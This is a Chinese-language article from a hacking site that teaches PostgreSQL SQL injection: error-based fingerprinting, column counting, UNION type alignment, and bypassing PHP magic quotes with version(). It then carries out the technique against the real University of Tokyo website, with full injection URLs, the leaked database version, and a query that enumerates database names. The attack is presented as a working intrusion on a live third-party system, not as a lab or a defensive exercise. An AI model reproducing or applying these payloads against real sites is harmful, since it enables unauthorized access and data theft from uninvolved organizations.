黑客入侵日本东京大学技术分析

浏览:
字体:
发布时间:2015-09-06 13:11:58
来源:

本文基于《PostgreSQL注入语法指南》而写,首先我们先来总结常见问题,常见问题有这样几个
如何判断数据库使用了PostgreSQL数据库,字段数和字段间编码问题,GPC为on时的字符型字段问题,注释符问题。我们一个一个讲

1) 如何判断php搭配数据库为PostgreSQL
我们假设一个php+PostgreSQL并且开启了错误回显的网站有一个注入点,我们在xx.php?id=n后面加单引号',它的回显将会是这样的:

Warning: pg_query() [function.pg-query]:
Query failed: ERROR: unterminated quoted string at or near "'" LINE 1: select * from now where no = 111' ^ in /home/sites/web/school/detail.php on line 307


有这样几个关键字可以判断数据库为PostgreSQL:
操作PostgreSQL的函数pg_query()
关键字function.pg-query中的pg
看熟了MySQL的错误回显,有没有发现这个unterminated quoted string at or near不是MySQL的?MySQL的错误回显和这个区别太大了

2) 字段数和字段间编码问题
我们首先将上面的注入点order by 2可以确认now数据表的字段数大于2,当我们order by 2000的时候,显然不可能有那个表段中有2000条数据,当然会出错

Warning:pg_query() [function.pg-query]:
Query failed: ERROR: ORDER BY position 2000 is not in select list in /home/sites/web/school/detail.php on line 307


这样大致可以确认可以猜出正确的字段数了。假设字段数为14,那么我们按照MySQL的步骤

  1. xx.php?id=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14

复制代码 这句没问题吧?但是它99%概率会出问题了:

Warning: pg_query() [function.pg-query]:
Query failed: ERROR: UNION types character varying and integer cannot be matched in /home/sites/web/school/detail.php on line 307


这个回显是什么意思呢?问题很简单,union前后的字段数相同了,但是类型不同了。
这就像大家来找茬:

  1. Union前(程序原来的):SELECT 数字,文本,日期,数字,数字,时间,文本,数字,文,数,文,数,文,数

  2. Union后(我们注入的):SELECT 数字,数字,数字,数字,数字,数字,数字,数字,数,数,数,数,数,数

复制代码 和我们要来找茬游戏差不多,我们要做的就是矫正字段与字段间的区别。
错误提示中没有提示这14个中,哪一个字段出问题了,我们要一次性让字段数对工整了恐怕有n的14次方种可能,怎么办呢?
很简单,先吧1,2,3,4.....13,14这些字段统统换成NULL,例如:

  1. xx.php?id=正确的id数字+and+1=1+union+select+null,null,null,null,null,null,null,null,null,null,null,null,null,null

复制代码 这样就会正确显示原来的新闻页面了
然后我们试着把null依次换成数字,依次替换一个,如果依然返回正确的新闻页面则保留数字并替换下一个,如果返回错误信息就重新换回null并继续替换下一个
这样我们就得到:

  1. Union前(程序原来的):SELECT 数字,文本,日期,数字,数字,时间,文本,数字,文,数,文,数,文,数

  2. Union后(我们注入的):SELECT 数字,NULL,NULL,数字,数字,NULL,NULL,数,NULL,数,NULL,数,NULL,数

复制代码 实际中,数字型是占少数的,一般我们都是用文本型做显示位的。
找出文本型显示位很简单,和数字一样,依次替换并确认,只不过这次不是替换成数字,而是替换成文本,例如'a'。

  1. Union前(程序原来的):SELECT 数字,文本,日期,数字,数字,时间,文本,数字,文,数,文,数,文,数

  2. Union后(我们注入的):SELECT 数字,'a',NULL,数字,数字,NULL,'a',数,'a',数,'a',数,'a',数

复制代码 这样就明了了吧?
最后应用于实际:

  1. xx.php?id=0+union+select+1,'a',null,2,3,null,'b',2,'c',3,'d',4,'e',6

复制代码 这样八九不离十会出显示位的。

3) GPC设置为on问题
PHP有个功能是魔术引号,学称“自动字符串转义”,就是你把.php?id=3'or'1'='1访问后PHP自动给你转换成.php?id=3\'or\'1\'=\'1然后进行下一步动作
问题在哪里呢?上面我们讲了,将字符型字段替换为'a'来依次确认,GPC为on,岂不是'a'都变成了\'a\'???
没错,是变了。那么这步就不能进行?答案是能。要知道,计算机是人设计的,人是计算机灵感的来源。
首先向,我们注入的目的是什么?显示内容。那么我们为什么要让它使用'a'呢?'a'只不过是个用来判断的字符,和and 1=2一样,只是用于判断,无实际意义,and 1=2可以替换成1=3,1=4,甚至1=1000000000000000000000,这只是用来判断而已,没意义。
如果我们将'a'换成有意义的呢?例如version()就可以不需要加引号,比较一下:

  1. xx.php?id=0+union+select+1,'a',null,2,3,null,'b',2,'c',3,'d',4,'e',6

  2. xx.php?id=0+union+select+1,version(),null,2,3,null,version(),2,version(),3,version(),4,version(),6

复制代码 整个语句没有用到任何一个单引号

4)注释符问题
PostgreSQL的注释符不是#,也就是说,末尾如果有语句未结束,不能加/*或者%23来终止。
那么用什么呢?显然是MySQL,MSSQL,SQLite还有PostgreSQL各种通用的“--”,也可以换成%2b%2b,一样的效果。
很好记,2B,二逼。测试中%2b%2b有可能会造成访问的短暂失去响应,目前不知道问题在哪里,而横线--则不会出现

5) 小技巧
PostgreSQL的管理员账户(类似于MySQL的root,MSSQL的sa)名字为postgres,根数据库(类似于MySQL的mysql数据库,MSSQL的master数据库)名字为postgres
root和sa有设置空口令的二逼管理员,PostgreSQL也有很多设置空口令的二逼管理员。
遇到过一些给PostgreSQL设置了nologin的bash shell,后面你懂的,可以尝试登陆它的shell的

好了说了这么多,都是理论。我们开始实践吧
目标日本东京大学:http://www.u-tokyo.ac.jp
这个例子来自本论坛的帖子《PostgreSQL盲注笔记》
这个大牛愣是盲注把PostgreSQL给注了。
虽然是很牛的办法,不过我想说,还有更简单的。我们看注入点:

  1. http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072+order+by+15-- 页面正确

  2. http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072+order+by+16-- 页面错误

复制代码 没有错误回显。但是可以确定字段数位15,显然union+select+1,2,3,4,5,6,7,8,9,0,11,12,13,14,15--以后也是错误的页面,否则不需要盲注了都
那么我们这样呢?

  1. http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072+and+1=1+union+select+1,2,3,4,5,6,7,8,9,0,11,12,13,14,15-- 错误页面

  2. http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072+and+1=1+union+select+null,null,null,null,null,null,null,null,null,null,null,null,null,null,null-- 正确页面

复制代码 下一步就是依次替换得到数字类型的字段和文本类型的字段了:

  1. http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072+and+1=1+union+select+null,null,1,null,null,null,null,null,null,null,null,null,null,null,null--

复制代码 很可惜,这个页面只有第3个字段是数字型,其他都不是,证据就是,上面剩下的任何一个null替换成数字,都会显示页面错误
那么咱们替换文本类型好了,替换任何一个null为'a'都会出现错误页面,为什么呢?答案就是,gpc为ON,导致'a'变成了\'a\'
盲注帝估计当时就是卡在这里了 :-(
不过好在本文前面说了,GPC为on,就不要用'a'了,用version()代替就好了

  1. http://www.u-tokyo.ac.jp/news/detail_e.html?id=0+union+select+null,version(),1,version(),version(),version(),null,version(),version(),version(),null,null,version(),version(),version()+--

复制代码 得到回显了没?
PostgreSQL 8.4.9 on x86_64-redhat-linux-gnu, compiled by GCC gcc (GCC) 4.4.5 20110214 (Red Hat 4.4.5-6), 64-bit
实际应用上面,其实我们只需要替换出来一个显示位就够了。闲的蛋疼的人才去一一确认哪个显示位是什么类型 — —!

  1. http://www.u-tokyo.ac.jp/news/detail_e.html?id=0+union+select+null,null,null,null,null,null,null,null,null,null,null,null,null,null,datname+from+pg_database+limit+1+offset+0+--+

复制代码 PostgreSQL的limit y offset x
是和MySQL的limit x,y一样的用法
limit 1 offset 0是第一条数据,limit 1 offset 1是第二条数据。。。依次类推

好了,后面的我就不说了,要继续搞,参照本论坛的PostgreSQL注入手册来好了,虽然还是有点不太省事,不过总之,盲注能是不需要了 :-)

 

更多信息来自东方联盟网:http://www.vm888.com

>更多相关文章
24小时热门资讯
24小时回复排行
资讯 | QQ | 安全 | 编程 | 数据库 | 系统 | 网络 | 考试 | 站长 | 关于东联 | 安全雇佣 | 搞笑视频大全 | 微信学院 | 视频课程 |
关于我们 | 联系我们 | 广告服务 | 免责申明 | 作品发布 | 网站地图 | 官方微博 | 技术培训
Copyright © 2007 - 2024 Vm888.Com. All Rights Reserved
粤公网安备 44060402001498号 粤ICP备19097316号 请遵循相关法律法规
');})();